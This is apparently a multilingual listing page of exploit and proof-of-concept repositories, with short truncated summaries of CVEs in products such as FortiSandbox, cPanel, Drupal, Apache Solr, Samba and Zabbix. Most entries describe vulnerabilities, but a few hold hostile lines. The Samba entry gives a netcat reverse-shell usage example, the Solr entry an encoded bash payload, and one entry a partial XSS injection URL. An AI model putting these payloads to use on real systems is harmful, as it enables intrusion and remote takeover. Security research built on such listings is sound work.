CVE-2024-2997

CVE-2024-2997 スキャナー 概要 CVE-2024-2997 スキャナーは、Webアプリケーションにおけるコマンドインジェクションの脆弱性を検出するための高度な脆弱性スキャナーです。このツールは、セキュリティ専門家がアプリケーションの潜在的なセキュリティリスクを特定するのに役立ちます。 免責事項 このツールは教育目的のみ で使用してください。所有している、またはテストの許可を得ているアプリケーションに対してのみ使用してください。作成者は、このツールの誤用や損害について一切の責任を負いません。 特徴 高パフォーマンススキャン :...

MAL-011

MAL-011：Log4J 配置错误允许在 Red Hat AMQ 中执行恶意 JavaScript Redhat A-MQ 应用程序的 Log4J 组件配置错误，允许在 Log4J 配置中执行任意的“Script”属性。如果攻击者找到修改 A-MQ 使用的 Log4J 配置的方法（例如通过“setConfigText”），则会插入恶意 JavaScript 脚本，从而导致远程代码执行（RCE）。 注意： 对于利用 Red Hat AMQ 版本 7.10.2 且 7.12 的漏洞，请参阅 CVE-2023-50780：可通过 Apache ActiveMQ Artemis 中的...

MAL-014

MAL-014: VMware vCenter Server における認証済み任意ファイル読み取り “com.vmware.appliance.version1.system.update.set” API コンポーネントはフラグインジェクション攻撃に対して脆弱であり、“com.vmware.showlog” プラグインと組み合わせることで、対象システム上で “root” ユーザーとして任意のファイルを読み取ることができます。 注: この脆弱性を悪用するには、vCenter SSH シェルへの admin...

MAL-001

MAL-001: Liferay Portal における FreeMarker サーバーサイドテンプレートインジェクション Liferay - Portal =7.4.3.12-ga12 に問題が発見されました。FTL テンプレートに悪意のあるコンテンツを挿入することで、攻撃者は SSTI（サーバーサイドテンプレートインジェクション）攻撃を実行し、FreeMarker の公開オブジェクトを悪用して制限を回避し、SSRF（サーバーサイドリクエストフォージェリ）を実行したり、任意のファイルを読み取ったり、RCE（リモートコード実行）を取得したりする可能性があります。 注記:...

CVE-2026-39808

CVE-2026-39808 2025年11月、Fortinet の FortiSandbox に重大な脆弱性が発見されました。この脆弱性により、認証されていない攻撃者が基盤となる OS 上で root としてコマンドを実行できる可能性がありました。この脆弱性はパッチが適用され、2026年4月に最終的に公開されました。 この脆弱性は FortiSandbox バージョン 4.4.0 から 4.4.8 に影響します。 詳細なアドバイザリはこちらでご覧いただけます。 脆弱性 この脆弱性は /fortisandbox/job-detail/tracer-behavior...

MAGNOLIA-8348

MAGNOLIA-8348: Magnolia CMS における FreeMarker 制限バイパス 3 Magnolia CMS v6.2.17 以前の FreeMarker フィルタにおける問題により、攻撃者はセキュリティ制限をバイパスし、細工された FreeMarker ペイロードを介して任意のコードを実行したり、任意のファイルの読み取り/書き込み/移動/コピー/削除を行ったり、DoS 攻撃を仕掛けたりすることが可能になります。任意の JSP ファイルを書き込むことで、任意のコード実行が実際に達成されました。 協力: この脆弱性は Marian-Razvan Ilisanu...

CVE-2023-46818-Exploit

CVE-2023-46818-Exploit これはCVE-2023-46818のための自作エクスプロイトです。ハッピーハッキング！ このエクスプロイトは、ISPConfig バージョン 3.2.11 以前における PHPコードインジェクションの脆弱性を悪用し、CVE-2023-46818 で説明されている攻撃を自動化します。有効な認証情報を使用して ISPConfig パネルにログインし、脆弱な languageedit.php ファイルを標的にして、records フォームフィールドを悪用して悪意のある PHP コードを注入します。このペイロードはサーバー上に sh.php...

ForgottenButNotGone

忘れられたが、消えてはいない このリポジトリには、Black Hat USA 2026 および DEF CON 34 で発表された講演「Forgotten but Not Gone: Unauthenticated RCEs and LPEs in Legacy Linux Services」で紹介された脆弱性の概念実証スクリプトが含まれています。 CVE-2026-28372 TelnetD におけるローカル権限昇格: 非特権攻撃者は、TelnetD の環境変数機能を悪用して、root 権限のシェルを取得できます。設計上およびその RFC に従い、Telnet...

CVE-2023-25157-and-CVE-2023-25158

GeoServer & GeoTools SQLインジェクション CVE-2023-25157 & CVE-2023-25158 このリポジトリには、GeoServerプラットフォームとGeoToolsライブラリで発見されたSQLインジェクションの脆弱性の詳細な説明と再現手順が含まれています。この脆弱性には、GeoServer用にCVE-2023-25157、GeoTools用にCVE-2023-25158の識別子が割り当てられています。 GeoServer は、Javaで書かれたオープンソースのソフトウェアサーバーであり、地理空間データの表示、編集、共有機能を提供します。地理情報システ...

CVE-2022-42889-PoC

CVE-2022-42889 PoC これは、脆弱性 CVE-2022-42889 の Proof of Concept です。このコードは JavaScript コード 195 + 324 を実行します。脆弱性がある場合、出力は次のようになります: root@kitploit: PoC Output: 519 これを実行するには、以下が必要です: JDK 11 以降 Maven エクスプロイト文字列を求められたら、独自のエクスプロイト文字列を入力するか（Enter を押して文字列を入力）、または単に Enter を押してデフォルトのエクスプロイト文字列...

CVE-2026-41940

CVE-2026-41940: cPanel/WHM 인증 우회 단일 및 다중 대상 고지사항: 이 문서와 관련 스크립트exploit.py는 교육 목적, 보안 연구 및 승인된 침투 테스트용으로만 제공됩니다. 이 소프트웨어를 소유하지 않거나 명시적 테스트 허가를 받지 않은 시스템에 사용하지 마십시오. 개요 exploit.py는 cPanel 및 WHM의 인증 우회 취약점CVE-2026-41940을 시연하는 스크립트입니다. 이 취약점은 CRLF 주입 결함을 통해 인증되지 않은 공격자가 루트 세션을 데몬 캐시에 주입하여, 유효한 자격 증명...

cve-2026-9082-drupal-postgresql-rce

CVE-2026-9082 Drupal PostgreSQL SQLi to RCE このリポジトリには、Ambionics の記事で説明されている Drupal JSON:API PostgreSQL SQL インジェクション用のローカルラボと短いエクスプロイトが含まれています。 エクスプロイトの重要な部分は PostgreSQL の権限昇格です: インジェクションが PostgreSQL スーパーユーザーとして SELECT 式を評価できるようになると、ラージオブジェクトを介してネイティブプリロードライブラリを書き込み、postgresql.auto.conf...

CIMCown

CIMCown CVE-2026-20200 Cisco IMC における RCE を伴う引数インジェクション Christoph Peil @ NSIDE ATTACK LOGIC 2026 CVE: CVE-2026-20200 CVSS v3.1 CISCO: 8.8 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H CVSS v3.1 NSIDE: 9.9 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H アドバイザリ: NSIDE-SA-2026-003 ブログ記事:...

solr_rce

Apache Solr RCE via Velocity template python の使い方: python solrrce.py http://x.x.x.x:8983 command getshell エンコードペイロード http://www.jackson-t.ca/runtime-exec-payloads.html whoami bash -c echo,d2hvYW1p|base64,-d|bash,-i 0x01 Solr 概要 Solr は Apache Lucene プロジェクトのオープンソースエンタープライズ検索プラットフォームです。...

CVE-2007-2447-in-Python

CVE-2007-2447 - Python 実装 説明 Samba 3.0.20 IP - リモートマシンの IP。 PORT - オプション SMB が動作しているポート。 PAYLOAD - リモートマシンで実行するペイロード。例: リバースシェル。 例: python3 smbExploit.py 192.168.1.2 139 'nc -e /bin/sh 192.168.1.1 4444' python3 smbExploit.py 192.168.1.2 'nc -e /bin/sh 192.168.1.1 4444' リソース CVE-2007-2447: Remote...

CVE-2023-34599

CVE-2023-34599 Gibbon v25.0.0 において、攻撃者が任意の JavaScript コードを実行できるようにする複数のクロスサイトスクリプティング XSS の脆弱性が確認されました。 概念実証 パラメータ allUsers http://gibbon.local/index.php?q=/modules/Timetable Admin/courseEnrolmentmanagebyPersonedit.php&gibbonPersonID=0000000001&gibbonSchoolYearID=025&type=Staff&allUsers=rcnk4'lo3...

joomla-cve-2018-6396

Joomla-CVE-2018-6396 Joomla! コンポーネント Google Map Landkarten = 4.2.3 - SQLインジェクション 日付: 03/03/2018 ベンダーホームページ: http://www.joomla-24.de/ ソフトウェアリンク: https://extensions.joomla.org/extensions/extension/maps-a-weather/maps-a-locations/google-map-landkarten/ バージョン: = 4.2.3 テスト環境: KaLi Linux 2018.1 CVE:...

CVE-2024-42327

CVE-2024-42327 / ZBX-25623 の PoC Zabbix フロントエンドの非管理者ユーザーアカウントで、デフォルトの User ロール、または API アクセスを許可するその他のロールを持つ場合、この脆弱性を悪用できます。CUser クラスの addRelatedObjects 関数には SQLi が存在します。この関数は、API アクセスを持つすべてのユーザーが利用できる CUser.get 関数から呼び出されます。 免責事項 このスクリプトは教育目的のみで提供されています！ 概念実証 バージョン 6.0.31 の次のコードは SQLi に対して脆弱です:...

CVE-2026-33937

This post is a research article published by EQSTLab. Referenced PoC: dinhvaren/cve-2026-33937 CVE-2026-33937 ★ CVE-2026-33937 Handlebars.js ASTインジェクション リモートコード実行 PoC ★ https://github.com/user-attachments/assets/99e383e7-e71f-4e10-8c62-f50abff8b4f5 説明 CVE-2026-33937 : Handlebars.js...

CVE-2025-57819-poc

CVE-2025-57819 — FreePBX 未認証SQLi → RCE FreePBX Endpoint Manager の未認証SQLインジェクション（CVE-2025-57819）を利用したワンショットエクスプロイトで、FreePBX cronjobs テーブルを介したリモートコード実行に連鎖させます。 許可されたセキュリティテスト / CTF 使用のみを対象としています。 脆弱性 エンドポイントモジュールのajaxハンドラは brand パラメータをSQLクエリに直接連結し、モジュールパス FreePBX\modules\endpoint\ajax...